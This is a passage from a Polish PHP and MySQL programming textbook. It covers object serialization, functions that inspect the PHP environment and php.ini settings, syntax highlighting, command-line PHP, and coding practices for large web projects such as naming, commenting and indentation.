definiowanym i tworzonym w następujący sposób:
class pracownik
{
var $nazwa;
var $id_pracownika;
}

$ten_pracownik = new pracownik;


$ten_pracownik->nazwa='Piotr';
$ten_pracownik->id_pracownika=5324;

Jeżeli na powyższych danych dokonana zostanie serializacja, po czym ukażą się one w przeglądarce,
wynik będzie następujący:
O:9:"pracownik":2:{s:5:"nazwa";s:5:"Piotr";s:13:"id_pracownika";i:5324;}

Łatwo jest dostrzec związki pomiędzy pierwotnymi danymi obiektu i danymi po serializacji.

Ponieważ dane po serializacji to zwykły tekst, można zapisać je w bazie danych lub w dowolnym
innym miejscu. Warto jednak pamiętać, by przed zapisaniem jakichkolwiek danych tekstowych
zastosować funkcję mysqli_real_escape_string(), aby zabezpieczyć wszelkie znaki specjalne.
Wymóg przeprowadzenia tej operacji jest spowodowany obecnością cudzysłowów w poprzednim
łańcuchu po serializacji.

Aby odzyskać obiekt, należy wywołać funkcję unserialize():


$nowy_obiekt = unserialize($obiekt_serial);

Kolejna ważna kwestia, o której należy wspomnieć, omawiając serializację klas lub stosowanie ich
jako zmienne sesji: PHP musi znać strukturę klasy, zanim przystąpi do przywracania jej egzem-
plarza. Dlatego też przed wywołaniem session_start() lub unserialize() trzeba będzie dołączyć
instrukcją include plik z definicją klasy.

Pobieranie informacji na temat środowiska PHP


Istnieje pewna liczba funkcji, które mogą być zastosowane do uzyskania informacji na temat konfi-
guracji PHP. Funkcje te mogą się bardzo przydać podczas rozwiązywania problemów związanych
z konfiguracją środowiska w celu sprawdzenia, czy konfiguracja PHP jest prawidłowa albo czy jest
zainstalowane odpowiednie rozszerzenie.
502 Część IV  Zaawansowane techniki PHP

Uzyskiwanie informacji na temat załadowanych rozszerzeń


Poprzez zastosowanie funkcji get_loaded_extensions() i get_extension_funcs() można łatwo
dowiedzieć się, jakie zbiory funkcji są dostępne, oraz jakie funkcje są dostępne w każdym z tych
zbiorów.

Funkcja get_loaded_extensions() zwraca tablicę zawierającą wszystkie zbiory funkcji dostępne


obecnie dla PHP. Po otrzymaniu nazwy konkretnego zbioru funkcji lub rozszerzenia funkcja
get_extension_funcs() zwraca tablicę zawierającą funkcje należące do tego zbioru.

Skrypt przedstawiony na listingu 24.1 wyświetla wszystkie funkcje dostępne dla konkretnej instalacji
PHP za pomocą tych dwóch funkcji (patrz rysunek 24.1).

Listing 24.1. lista_funkcji.php — ten skrypt wyświetla wszystkie rozszerzenia dostępne dla PHP, a także
dostarcza listy funkcji dla każdego rozszerzenia
<?php
echo 'Zbiory funkcji dostępne w tej instalacji to:<br />';
$rozszerzenia = get_loaded_extensions();
foreach($rozszerzenia as $kazde_roz)
{
echo $kazde_roz.'<br />';
echo '<ul>';
$funkcje_roz = get_extension_funcs($kazde_roz);
foreach($funkcje_roz as $funkcja)
{
echo '<li>'.$funkcja.'</li>';
}
echo '</ul>';
}
?>

Należy zauważyć, że funkcja get_loaded_extensions() nie pobiera żadnych parametrów, a funkcja


get_extension_funcs() pobiera nazwę rozszerzenia jako jedyny parametr.

Informacje uzyskiwane za pomocą powyższych funkcji mogą być przydatne przy sprawdzaniu
powodzenia instalacji rozszerzenia lub przy pisaniu przenośnego kodu generującego użyteczne
komunikaty diagnostyczne podczas procesu instalacji.

Identyfikacja właściciela skryptu


Informacje na temat właściciela pracującego skryptu można uzyskać za pomocą wywołania funkcji
get_current_user() w następujący sposób:
echo get_current_user();

Funkcja ta może być niekiedy przydatna do rozwiązywania kwestii uprawnień.

Uzyskiwanie informacji na temat daty modyfikacji skryptu


Dodawanie daty ostatniej modyfikacji na każdej stronie witryny jest popularną konwencją.

Datę ostatniej modyfikacji skryptu można sprawdzić za pomocą funkcji getlastmod() (należy
dostrzec brak znaków podkreślenia w nazwie funkcji) w następujący sposób:
echo date('g:i a, j M Y',getlastmod());
Rozdział 24.  Inne przydatne własności 503

Rysunek 24.1.
Skrypt lista_funkcji.php
wyświetla wszystkie
wbudowane funkcje
PHP dostępne
w używanej instalacji

Funkcja getlastmod() zwraca znacznik czasu Uniksa, który można przekazać funkcji date(), jak
w powyższym przykładzie, aby otrzymać datę do odczytania przez człowieka.

Czasowa zmiana środowiska wykonawczego


Możliwe jest oglądanie opcji ustawionych w pliku php.ini lub zmiana ich na czas trwania skryptu.
Może to być szczególnie użyteczne na przykład w połączeniu z opcją max_execution_time, jeżeli
wiadomo, że skrypt wymaga nieco czasu do wykonania.

Można uzyskać dostęp i zmienić opcje za pomocą bliźniaczych funkcji ini_get() i ini_set().
Listing 24.2 przedstawia prosty skrypt z zastosowaniem tych funkcji.

Listing 24.2. ustawini.php — skrypt modyfikujący zmienne w pliku php.ini


<?php
$stary_max_execution_time = ini_set('max_execution_time', 120);
echo 'Stary czas maksymalny wynosi '.$stary_max_execution_time.'<br />';

$max_execution_time = ini_get('max_execution_time');
echo 'Nowy czas maksymalny wynosi '.$max_execution_time.'<br />';
?>

Funkcja ini_set() pobiera dwa parametry. Pierwszym jest nazwa opcji konfiguracyjnej pliku php.ini,
która ma zostać zamieniona, a drugim wartość, która zostanie tej opcji nadana. Funkcja zwraca
poprzednią wartość opcji.
504 Część IV  Zaawansowane techniki PHP

W powyższym przypadku domyślna wartość maksymalnego czasu wykonania — 30 sekund (lub


inna aktualnie ustawiona w pliku php.ini) — zamieniana jest na 120 sekund.

Funkcja ini_get() dokonuje prostego sprawdzenia wartości konkretnej opcji konfiguracyjnej.


Nazwa opcji powinna zostać przekazana funkcji jako łańcuch znaków. W powyższym przykładzie
funkcja ta jest zastosowana do skontrolowania, czy wartość opcji rzeczywiście się zmieniła.

Nie wszystkie opcje ini można ustawiać w taki sposób. Każda z tych opcji posiada poziom, na
którym może zostać ustawiona. Dostępne są następujące poziomy:
 PHP_INI_USER — Wartości tego rodzaju można zmieniać w skryptach przy użyciu ini_set().
 PHP_INI_PERDIR — Wartości tego rodzaju można zmieniać w plikach php.ini lub
.htaccess albo httpd.conf, jeśli używany jest serwer Apache. Fakt, że wartości te można
zmieniać w plikach .htaccess, oznacza, że można je ustawiać dla każdego katalogu
oddzielnego — stąd właśnie nazwa.
 PHP_INI_SYSTEM — Wartości tego rodzaju można zmieniać w plikach php.ini lub httpd.conf.
 PHP_INI_ALL — Wartości tego rodzaju można zmieniać w dowolny z wcześniej opisanych
sposobów, to jest: w skrypcie, w pliku .htaccess lub w plikach httpd.conf albo php.ini.

Pełny zestaw opcji ini oraz poziomy, na których można je ustawiać, znajdziesz w podręczniku PHP
pod adresem http://php.net/manual/en/ini.list.php.

Podświetlanie źródeł
PHP posiada wbudowany mechanizm podświetlania składni, podobnie jak wiele edytorów. Jest on
zwłaszcza przydatny przy dzieleniu się kodem z innymi osobami lub przedstawianiu go podczas
dyskusji na stronie WWW.

Funkcje show_source() i highlight_file() są identyczne. (Funkcja show_source() jest w istocie


inną nazwą funkcji highlight_file()). Obie powyższe funkcje pobierają jako parametr nazwę
pliku. (Powinien być to plik PHP, w przeciwnym wypadku wyniki będą zupełnie przypadkowe).
Na przykład:
show_source('lista_funkcji.php');

Plik zostanie wyświetlony w przeglądarce z tekstem podświetlonym różnymi kolorami, zależnie


od tego, czy jest on łańcuchem znaków, komentarzem, słowem kluczowym lub kodem HTML.
Wynik wyświetlany jest na kolorze tła. Zawartość nieodpowiadająca żadnej z powyższych kategorii
jest wyświetlana w kolorze domyślnym.

Funkcja highlight_string() działa w podobny sposób, z tym że pobiera jako parametr łańcuch zna-
ków, po czym wyświetla go w przeglądarce w formacie podświetlonej składni.

Kolory podświetlanej składni mogą być ustawiane w pliku php.ini. Część za to odpowiedzialna
wygląda w sposób podobny do poniższego fragmentu:
;Colors for Syntax Highlighting mode
highlight.string = #DD0000
highlight.comment = #FF8000
highlight.keyword = #007700
highlight.bg = #FFFFFF
highlight.default = #0000BB
highlight.html = #000000

Kolory są podane w standardowym formacie HTML — RGB.


Rozdział 24.  Inne przydatne własności 505

Choć w wydrukowanej wersji książki kolory te nie będą widoczne, to jednak w wersji elektronicznej
będzie można je zobaczyć. Dlatego też rysunek 24.2 przedstawia kod przykładu z listingu 24.1
wyświetlony przy użyciu funkcji show_source().

Rysunek 24.2.
Funkcja
show_source()
wyświetla kod PHP,
kolorując
składnię zgodnie
z ustawieniami
konfiguracyjnymi

Używanie PHP w wierszu poleceń


Można pobierać lub samodzielnie pisać różnorodne małe programy oraz uruchamiać je z poziomu
wiersza poleceń. Jeśli używany jest system Unix, programy takie pisze się zazwyczaj w języku
skryptowym powłoki lub w Perlu. W systemach z rodziny Windows natomiast programy te mają
postać plików wsadowych.

Zapewne pierwszy kontakt większości z Czytelników z PHP nastąpił przy okazji tworzenia projek-
tów WWW, lecz te same mechanizmy, które czynią z niego rozbudowany język skryptów WWW,
sprawiają również, że PHP jest jednocześnie silnym programem narzędziowym działającym
w wierszu poleceń.

Skrypty PHP można wykonywać w wierszu poleceń na trzy sposoby: z pliku, poprzez potok lub
bezpośrednio w wierszu poleceń.

Aby wykonać skrypt PHP w pliku, należy się upewnić, że plik wykonawczy PHP (php lub php.exe,
zależnie od systemu operacyjnego) znajduje się w ścieżce domyślnej, i wywołać go, podając jako
argument nazwę skryptu. Na przykład:
php mojskrypt.php

Plik mojskrypt.php jest zwykłym plikiem z kodem PHP, to znaczy zawiera standardową składnię
PHP zamkniętą w odpowiednich znacznikach PHP.

Aby przekazać kod za pośrednictwem potoku, można uruchomić dowolny program generujący na
wyjściu poprawny kod PHP i przekazać go potokiem do pliku wykonawczego php. W poniższym
przykładzie użyto programu echo do wygenerowania jednowierszowego programu:
echo '<?php for($i=1; $i<10; $i++) echo $i; ?>' | php

Również w tym przypadku kod PHP jest zamknięty w znacznikach PHP (<?php i ?>). Zwróćmy też
uwagę, że wykorzystywany jest tutaj program echo z wiersza poleceń, a nie konstrukcja języka PHP.
506 Część IV  Zaawansowane techniki PHP

Tego typu jednowierszowy program łatwiej byłoby uruchomić bezpośrednio z wiersza poleceń,
jak w poniższym przykładzie:
php –r 'for($i=1; $i < 10; $i++) echo $i;

Tutaj sytuacja jest nieco inna. Kod PHP przekazywany w tym łańcuchu znaków nie zawiera się
między znacznikami PHP. Gdyby łańcuch ten został otoczony znacznikami PHP, wygenerowany
zostałby błąd składni.

Zakres użytecznych programów, które można by pisać z myślą o ich uruchamianiu w wierszu pole-
ceń, jest praktycznie nieograniczony. Można na przykład tworzyć instalatory samodzielnie napisa-
nych aplikacji PHP. Można naprędce sklecić prosty skrypt odpowiednio formatujący plik tekstowy
przed zaimportowaniem go do bazy danych. Można nawet napisać skrypt wykonujący dowolne
powtarzalne zadania, które można chcieć wykonywać z poziomu wiersza poleceń. Przykładem mógłby
być skrypt kopiujący wszystkie pliki PHP, obrazki i struktury tabel MySQL z testowego serwera
WWW na serwer produkcyjny.

W następnej części
Część V, „Tworzenie praktycznych projektów PHP i MySQL”, zawiera opis kilku stosunkowo skom-
plikowanych projektów korzystających z PHP i MySQL. Projekty te są przydatnymi przykładami
dla podobnych zadań występujących w rzeczywistości. Ilustrują one zastosowanie PHP i MySQL
w większych projektach.

W rozdziale 25. omówimy niektóre kwestie, z którymi można się zetknąć przy kodowaniu więk-
szych projektów za pomocą PHP. Są to zasady tworzenia oprogramowania, takie jak: projekt,
dokumentacja i zarządzanie zmianami.
Część V
Tworzenie praktycznych
projektów PHP i MySQL
508 Część V  Tworzenie praktycznych projektów PHP i MySQL
Rozdział 25.  Stosowanie PHP i MySQL w dużych projektach 509

Rozdział 25.
Stosowanie PHP i MySQL
w dużych projektach
We wcześniejszych częściach opisaliśmy różne składniki i zastosowania PHP i MySQL. Chociaż
przedstawione przykłady miały być interesujące i stosowne, charakteryzowały się prostotą, gdyż
składały się z kilku skryptów, których długość rzadko kiedy przekraczała 100 wierszy kodu.

Przy tworzeniu prawdziwych aplikacji WWW sporadycznie występują tak proste zadania. W pierw-
szych latach istnienia WWW „interaktywna” witryna WWW mogła zawierać jedynie formularz słu-
żący do wysyłania wiadomości poczty elektronicznej. Jednak w obecnych czasach witryny WWW
stały się aplikacjami WWW — to znaczy programami z prawdziwego zdarzenia przesyłanymi
przez WWW. Ta zmiana oznacza rewolucję w dziedzinie skali. Witryny WWW rosną od kilku
skryptów do tysięcy wierszy kodu. Projekty tej wielkości wymagają przygotowania i zarządzania
na wzór innych projektów programistycznych.

Przed obejrzeniem projektów zawartych w tej części książki przedstawimy niektóre techniki możli-
we do zastosowania w zarządzaniu dużymi projektami WWW. Tworzenie witryn i aplikacji WWW,
zarządzanie nimi oraz gwarantowanie ich skalowalności to sztuka sama w sobie, a zapewnienie
prawidłowej realizacji tych zadań bez wątpienia jest bardzo trudne; można to zauważyć, obserwując
zarówno rynek, jak i aplikacje WWW, których używamy każdego dnia, gdyż w każdej z nich można
znaleźć jakieś problemy.

W tym rozdziale zostaną poruszone następujące zagadnienia:


 zastosowanie inżynierii oprogramowania w tworzeniu aplikacji WWW,
 planowanie i prowadzenie projektu aplikacji WWW,
 ponowne stosowanie kodu,
 tworzenie kodu łatwego w utrzymaniu,
 implementacja kontroli wersji,
 wybór środowiska programistycznego,
 dokumentacja projektów,
 prototypowanie,
 oddzielanie logiki, zawartości i prezentacji — PHP, HTML i CSS,
 optymalizacja kodu.
510 Część V  Tworzenie praktycznych projektów PHP i MySQL

Zastosowanie inżynierii oprogramowania


w tworzeniu aplikacji WWW
Najkrócej rzecz ujmując, inżynieria oprogramowania to zastosowanie systematycznego, etapowego
ujęcia do tworzenia oprogramowania. Oznacza to zastosowanie w tej dziedzinie zasad inżynierii.

Inżynieria oprogramowania jest również podejściem, którego w oczywisty sposób brakuje w wielu
projektach WWW. Dzieje się tak z dwóch głównych powodów. Pierwszym jest częste podobień-
stwo tradycyjnych sposobów tworzenia aplikacji WWW do sposobu opracowywania pisemnego
raportu. Jest to ćwiczenie ze struktury dokumentu, projektu graficznego i produkcji. Jest to para-
dygmat zorientowany na dokument, odpowiedni dla witryn o małej lub średniej wielkości. Jednakże
w razie powiększania zawartości dynamicznej w witrynach WWW do poziomu, na którym witryny
oferują raczej usługi niż dokumenty, paradygmat ten już nie obowiązuje. Wielu programistów
w ogóle nie bierze pod uwagę zastosowania inżynierii oprogramowania do projektu.

Drugim powodem, dla którego inżynieria oprogramowania często nie znajduje zastosowania, są
liczne różnice pomiędzy tworzeniem aplikacji WWW i tworzeniem zwykłych aplikacji. W przypad-
ku tworzenia aplikacji WWW występują znacznie krótsze terminy, nieustanny nacisk, aby witryna
była gotowa już teraz. Inżynieria oprogramowania opiera się na działaniu zaplanowanym, wykony-
wanym w określonym okresie. Przy opracowywaniu projektów WWW często nie ma na to czasu.

Kiedy projekt WWW nie jest zaplanowany, na końcu pojawiają się takie same problemy jak w przy-
padku każdego innego projektu oprogramowania — aplikacje pełne błędów, niedotrzymane terminy
i niemożliwy do odczytania kod. Sposobem na rozwiązanie problemów jest odnalezienie tych czę-
ści inżynierii oprogramowania, które sprawdzają się w nowej dziedzinie tworzenia aplikacji
WWW, i odrzucenie nieodpowiednich.

Planowanie i prowadzenie projektu aplikacji WWW


Nie istnieje najlepsza metodologia czy też sposób tworzenia projektów WWW. Jest jednak kilka
spraw, o których warto pomyśleć. Przedstawimy je poniżej, a niektóre z nich omówimy szerzej
w następnych podrozdziałach. Rozważania te są podane w pewnym układzie; jednak jeżeli ten
porządek nie odpowiada danemu projektowi, nie trzeba go respektować. Należy po prostu być
świadomym pewnych problemów i wybierać techniki odpowiednie dla konkretnego projektu.
 Przed rozpoczęciem pracy należy pomyśleć, co próbuje się stworzyć. Mieć na uwadze cel.
Warto rozważyć, kto będzie używał danej aplikacji, czyli o klienteli. Wiele projektów WWW
technicznie doskonałych okazuje się porażką, ponieważ nikt nie sprawdził wcześniej, czy
w ogóle istnieją użytkownicy zainteresowani taką aplikacją.
 Należy rozbić daną aplikację na składniki. Które części procesu posiada dana aplikacja?
Jak będzie pracował każdy ze składników? Jak będą do siebie pasować? Rysowanie
scenariuszy, scenopisów czy nawet przypadków zastosowań może okazać się przydatne
do określania tych składników i etapów ich tworzenia.
 Po stworzeniu listy komponentów trzeba sprawdzić, które z nich już istnieją. Jeżeli
poprzednio napisany moduł posiada pożądane możliwości funkcjonalne, należy dokonać
próby jego zastosowania. Nie wolno zapomnieć o szukaniu istniejącego kodu wewnątrz
i na zewnątrz swojej firmy. Zwłaszcza w środowisku Open Source wiele składników
kodu jest dostępnych za darmo. Dlatego w pierwszej kolejności trzeba określić, które
części kodu muszą być napisane od początku i jak obszerna będzie to praca.
Rozdział 25.  Stosowanie PHP i MySQL w dużych projektach 511

 Należy podjąć decyzje co do procesów. Pod pojęciem procesów trzeba rozumieć: standardy
kodowania, strukturę katalogów, zarządzanie kontrolą wersji, środowisko programistyczne,
poziom i standardy dokumentacji i przydział zadań dla poszczególnych członków zespołu.
W projektach aplikacji WWW ten etap prac jest zbyt często pomijany, przez co później
traci się zbyt wiele czasu na cofanie się do wcześniejszych etapów, dostosowywanie
kodu do standardów i tworzenie dokumentacji post factum.
 Trzeba stworzyć prototyp oparty na wcześniejszych informacjach, pokazać go użytkownikom,
dokonywać bezustannych iteracji i rozsądnie podchodzić do tego, co w danej organizacji
oznacza słowo „gotowe”.
 W trakcie całego tego procesu należy pamiętać, że na wszystkich etapach ważne i przydatne
jest oddzielenie zawartości i logiki aplikacji. Poniżej idea ta jest opisana szerzej.
 Trzeba dokonać wszystkich potrzebnych optymalizacji.
 Należy testować aplikacje WWW tak samo dokładnie jak każdy inny projekt
programistyczny.

Ponowne stosowanie kodu


Programiści (i to nie tylko ci zajmujący się tworzeniem aplikacji WWW) często popełniają błąd
ponownego pisania kodu, który już istnieje. Kiedy wiadomo, jakie składniki aplikacji są potrzebne
(lub w mniejszej skali — jakie funkcje), należy sprawdzić, co jest dostępne przed rozpoczęciem
programowania.

Jedną z zalet PHP jako języka jest obszerna biblioteka wbudowanych funkcji. Zawsze powinno się
sprawdzać, czy funkcja wykonująca daną operację istnieje. Zazwyczaj jej znalezienie nie zabiera
zbyt wiele czasu. Skuteczną metodą jest przejrzenie podręcznika pod kątem grup funkcji, które
można znaleźć na stronie http://php.net/manual/en/funcref.php.

Czasami programiści przypadkowo piszą ponownie funkcje, ponieważ nie sprawdzili w dokumenta-
cji, czy istniejąca funkcja oferuje pożądane przez nich możliwości funkcjonalne. Gorąco zachęcamy,
by pamiętać o połączeniu z podręcznikiem elektronicznym lub też pobrać jego aktualną wer-
sję i przeglądać ją lokalnie, i to niezależnie od swojego doświadczenia programistycznego, gdyż
stanowi ona świetne źródło informacji. Warto pamiętać, że podręcznik elektroniczny jest często
uaktualniany i zawiera uwagi oraz komentarze dodawane przez innych użytkowników. Najpraw-
dopodobniej będzie można w nim znaleźć fragmenty kodu oraz informacje nadesłane przez innych
programistów stanowiące odpowiedzi na pytania, które mogą się nasunąć po zapoznaniu się z pod-
stawowym opisem danej funkcji. Podręcznik zawiera także informacje o odnalezionych błędach
oraz sposoby radzenia sobie z nimi; niejednokrotnie pojawiają się one, jeszcze zanim błędy zostaną
oficjalnie poprawione i udokumentowane.

Angielska wersja podręcznika jest dostępna pod adresem http://www.php.net/manual/en/, a polska


pod adresem http://www.php.net/manual/pl/.

Niektórzy programiści posiadający inne przygotowanie językowe mogą być skłonni do pisania pew-
nych funkcji-owijaczy, które stanowią właściwie inne nazwy funkcji PHP, ale pasują do znanego
przez nich języka. Praktyka ta nazywana jest „składniowym cukrem”. Pomysł nie należy do naj-
lepszych — powoduje, że kod jest trudniejszy do odczytania i utrzymania dla innych. Podczas
nauki nowego języka należy nauczyć się jego właściwego zastosowania. Poza tym dodanie poziomu
wywołań funkcji tego typu spowoduje spowolnienie kodu. Biorąc pod uwagę opisane powyżej kwe-
stie, jest to ujęcie, którego należy unikać.
512 Część V  Tworzenie praktycznych projektów PHP i MySQL

Jeżeli okazuje się, że pożądane możliwości funkcjonalne nie znajdują się w głównej bibliotece
PHP, istnieją dwie drogi postępowania. Jeśli potrzebna jest rzecz stosunkowo prosta, można napisać
własną funkcję lub obiekt. Jeżeli jednak poszukiwane możliwości funkcjonalne stanowią skom-
plikowany fragment kodu — taki jak koszyk na zakupy, system poczty elektronicznej WWW
czy też forum WWW — nie należy się dziwić, że tego typu rzeczy zostały już utworzone. Jedną
z zalet pracy w środowisku Open Source jest darmowy dostęp do kodu między innymi takich apli-
kacji. Jeżeli znajdzie się składnik podobny do pożądanego, nawet nie identyczny, można potrak-
tować jego kod źródłowy jako punkt startowy modyfikacji lub utworzenia własnego.

Jeżeli jednak konieczne okazuje się tworzenie własnych funkcji lub składników, należy poważnie
rozważyć udostępnienie ich środowisku PHP po zakończeniu pracy. Jest to zasada, dzięki której
środowisko programistów PHP jest pomocną, aktywną i kompetentną grupą.

Tworzenie kodu łatwego w utrzymaniu


Kwestia utrzymania kodu jest często przeoczana w aplikacjach WWW, zwłaszcza z powodu tworze-
nia ich przez programistów w pośpiechu. Rozpoczęcie tworzenia kodu i szybkie zakończenie prac
często wydaje się ważniejsze niż jego wcześniejsze zaplanowanie. Jednak poświęcenie niedłu-
giego czasu na początku prac może zaoszczędzić wiele trudu w przyszłości, kiedy ma zostać utwo-
rzona kolejna iteracja danej aplikacji.

Standardy kodowania
Większość dużych organizacji posiada własne standardy kodowania — przewodniki wybiera-
nia nazw plików i zmiennych, komentowania i wcinania kodu itd.

Ponieważ paradygmat dokumentu był przez długi czas stosowany do tworzenia aplikacji WWW,
często nie stosowano standardów kodowania w tym obszarze. W przypadku kodowaniu na własną
ręką lub w małym zespole łatwo nie docenić ważności standardów kodowania. Nie należy popeł-
niać tego błędu, ponieważ zespół i projekt mogą się powiększyć, co więcej, może to nastąpić tak
szybko, że nie uda się w odpowiednim czasie przygotować sensownej dokumentacji. Skutkiem jest
nie tylko bałagan, lecz także problemy grupy programistów, którzy nie potrafią wykorzystać istnieją-
cego kodu, przez co będą starać się samodzielnie rozwiązywać własne problemy, dodatkowo
pogarszając sytuację.

Definiowanie konwencji nazewniczych


Cele definiowania konwencji nadawania nazw są następujące:
 Łatwiejszy do odczytania kod. Jeżeli zmiennym i funkcjom nadaje się sensowne nazwy,
możliwe jest późniejsze odczytywanie kodu jako zdania w ludzkim języku lub przynajmniej
jako pseudokodu.
 Łatwe zapamiętywanie nazw identyfikatorów. Jeżeli identyfikatory są sformatowane
w spójny sposób, łatwiej przypomnieć sobie, jak została nazwana konkretna zmienna
lub funkcja.

Nazwy zmiennych powinny opisywać przechowywane w nich dane. Jeżeli zmienna przechowuje
nazwisko użytkownika, należy nadać jej nazwę $nazwisko. Ogólnie rzecz biorąc, trzeba znaleźć
równowagę pomiędzy długością i czytelnością. Na przykład przechowywanie nazwiska w zmiennej
Rozdział 25.  Stosowanie PHP i MySQL w dużych projektach 513

$n sprawia, że jest ona łatwa do napisania, lecz kod stanie się trudny do zrozumienia. Przechowy-
wanie nazwiska w zmiennej $nazwisko_aktualnego_uzytkownika jest bardziej informacyjne, lecz wy-
maga pisania (łatwiej wówczas popełnić błąd). W istocie jednak nie ułatwia zbytnio zrozumienia.

Należy podjąć decyzję o stosowaniu wielkich liter. Jak już wspomniano, PHP zwraca uwagę na
wielkość liter w nazwach zmiennych. Należy zadecydować, czy nazwy zmiennych będą zawierać
wyłącznie małe litery, wyłącznie wielkie litery, czy też ich połączenie, na przykład będą się rozpo-
czynały od wielkich liter. My zazwyczaj zapisujemy nazwy małymi literami, oddzielając poszcze-
gólne słowa znakami podkreślenia (metoda ta jest czasami określana jako „snake-case”1), gdyż
ten sposób najłatwiej nam zapamiętać. Niektóre firmy i organizacje mogą jednak wybierać do
zapisu nazw zmiennych składających się z wielu słów inne notacje, takie jak lowerCamelCase
lub UpperCamelCase; tak naprawdę wybór takiego czy innego sposobu zapisu nie ma większego
znaczenia — liczy się to, czy będzie on konsekwentnie stosowany w całej bazie kodu. Można
także narzucić limit liczby słów, które można zastosować w nazwie, na przykład ograniczając
ją do dwóch lub trzech.

Dobrym pomysłem jest również rozróżnienie zmiennych i stałych za pomocą wielkości liter.
Popularnym schematem jest stosowanie wyłącznie małych liter w zmiennych (na przykład $wynik),
a wyłącznie wielkich w stałych (na przykład PI).

Jedną ze złych praktyk stosowanych przez programistów jest posiadanie dwóch zmiennych o tej
samej nazwie, ale z różnym zastosowaniem wielkich liter — tylko dlatego, że jest to możliwe, na
przykład $nazwisko i $Nazwisko. Nie trzeba chyba dodawać, że ten pomysł jest bardzo niefortunny.

Należy również unikać śmiesznych schematów stosowania wielkich liter, takich jak $RzEcZ, ponie-
waż nikt nie będzie pamiętał zasad, na jakich one pracują.

Do nazw funkcji odnosi się większość powyższych rozważań dotyczących nazw zmiennych oraz kil-
ka dodatkowych. Nazwy funkcji powinny być generalnie zorientowane na czasownik. Warto roz-
ważyć wbudowane w PHP funkcje, takie jak addslashes() czy mysqli_connect(). Konwencja taka
opisuje, jaką czynność wykonają te funkcje na parametrach lub z parametrami, które zostaną im
przekazane. Schemat ten bardzo poprawia łatwość odczytania kodu. Należy zauważyć, że powyższe
dwie funkcje posiadają różne schematy postępowania z wielowyrazowymi nazwami funkcji.
Funkcje PHP są w tej kwestii niespójne, przypuszczalnie częściowo dlatego, że zostały napisane
przez dużą grupę osób, ale przede wszystkim dlatego, że wiele nazw funkcji zostało przeniesio-
nych bez zmian z różnorodnych języków i interfejsów API.

Inaczej niż w przypadku nazw zmiennych w nazwach funkcji nie zwraca się uwagi na wielkość
liter. Zalecane jest jednak konsekwentne stosowanie wybranego formatu także do zapisu nazw
funkcji w celu uniknięcia zamieszania w kodzie (lub firmie).

Dodatkowo można również rozważyć używanie modułowego schematu nazywania stosowanego


w wielu modułach PHP, to znaczy nadawania nazwom funkcji przedrostka z nazwą modułu.
Na przykład wszystkie funkcje ulepszonego modułu MySQL rozpoczynają się od mysqli_,
a wszystkie funkcje IMAP — od imap. Jeżeli na przykład w danym kodzie istnieje moduł koszyka
na zakupy, można rozpoczynać nazwy funkcji tego modułu od koszyk_.

Zwróćmy jednak uwagę, że w sytuacji, gdy PHP udostępnia interfejs proceduralny i zorientowany
obiektowo, nazwy funkcji się różnią. Zwykle w nazwach funkcji proceduralnych używa się notacji
snake_case (moja_funkcja()), a funkcje dostępne w interfejsie obiektowym nazywane są z zastoso-
waniem tak zwanej notacji lowerCamelCase (mojaFunkcja()).

1
Zapis wężowy — przyp. tłum.
514 Część V  Tworzenie praktycznych projektów PHP i MySQL

I jeszcze końcowa uwaga — w istocie nie ma znaczenia, jakie konwencje i standardy stosuje się do
tworzenia kodu, jeżeli są one spójne w całej bazie kodu i konsekwentnie używane przez cały zespół.

Komentowanie kodu
Wszystkie programy powinny być komentowane na rozsądnym poziomie. Generalnie należy doda-
wać komentarz do każdego z następujących elementów:
 Pliki, niezależnie, czy są one kompletnymi skryptami, czy plikami dołączanymi —
Każdy plik powinien posiadać komentarz, określający czym jest, jakie jest jego
przeznaczenie, kto go napisał i kiedy był uaktualniany.
 Funkcje — Komentarze funkcji powinny określać, jak działa dana funkcja, jakich
parametrów się spodziewa oraz co zwraca.
 Klasy — Komentarze powinny opisywać przeznaczenie klasy. Metody klasy powinny
posiadać komentarze tego samego typu i poziomu co inne funkcje.
 Fragmenty kodu wewnątrz skryptu i funkcji — Często przydatne okazuje się
rozpoczęcie pisania kodu od zbioru komentarzy w stylu pseudokodu, po czym następuje
wypełnienie kodem każdej części. Tak więc początkowy skrypt może przypominać
następujący:
<?
// sprawdź prawidłowość wprowadzonych danych
// wyślij do bazy danych
// wyświetl wyniki
?>

Jest to wygodne, ponieważ kiedy wszystkie części wypełnione zostaną wywołaniami funkcji
i innymi potrzebnymi elementami, kod w pewnym stopniu będzie już zawierał komentarze.
 Skomplikowane fragmenty kodu i sztuczki — Kiedy stworzenie czegoś zajmuje cały
dzień, lub jest to utworzone w niezwykły sposób, należy napisać komentarz opisujący
powody takiej konstrukcji. W ten sposób można uniknąć konsternacji: „Do czego to miało
służyć?”.

Inną ogólną zasadą postępowania jest komentowanie w trakcie pracy. Nie należy odkładać tej czyn-
ności do końca projektu, gdyż gwarantujemy, że nikt jej później nie wykona, no chyba że Czytelnik
ma znacznie mniej napięty terminarz i znacznie lepszą samodyscyplinę niż my (i większość innych
programistów).

Wcinanie
Jak w każdym innym języku programowania, należy wcinać kod w sposób rozsądny i spójny. Pisa-
nie kodu źródłowego jest działaniem podobnym do nadawania odpowiedniej formy raportowi lub
listowi biznesowemu. Wcinanie ułatwia czytanie i zrozumienie kodu.

Ogólnie rzecz biorąc, każdy blok kodu należący do struktury kontrolującej powinien być wcięty
w porównaniu do otaczającego kodu. Stopień wcięcia powinien być zauważalny (powinna to być
więcej niż jedna spacja), lecz nie nadmierny. Generalnie odradza się stosowanie znaków tabulacji,
choć spory o to trwają wśród programistów od dziesięcioleci. Chociaż są łatwe w stosowaniu,
zajmują wiele miejsca na monitorach. Zazwyczaj stosuje się wcinanie o dwie lub trzy spacje.

Kwestią otwartą jest również sposób stosowania nawiasów klamrowych. Dwa najbardziej popularne
schematy są następujące:
Rozdział 25.  Stosowanie PHP i MySQL w dużych projektach 515

Schemat 1.:
if(warunek) {
// zrób coś
}

Schemat 2.:
if(warunek)
{
// zrób coś
}

Wybór pomiędzy nimi jest dowolny, należy jedynie pamiętać o konsekwentnym trzymaniu się jed-
nej konwencji w celu uniknięcia zamieszania. W tej książce staramy się stosować drugi z powyż-
szych schematów.

Dzielenie kodu
Wielki monolityczny kod wywiera bardzo niekorzystne wrażenie. Niektórzy stosują jeden ogromny
skrypt, który wykonuje wszystko w jednej ogromnej instrukcji wyboru. Choć uwielbiamy instruk-
cje wyboru i uważamy, że są one bardzo użyteczne, to jednak znacznie lepszym rozwiązaniem
byłoby dzielenie kodu na funkcje i klasy i umieszczanie związanych ze sobą elementów w plikach,
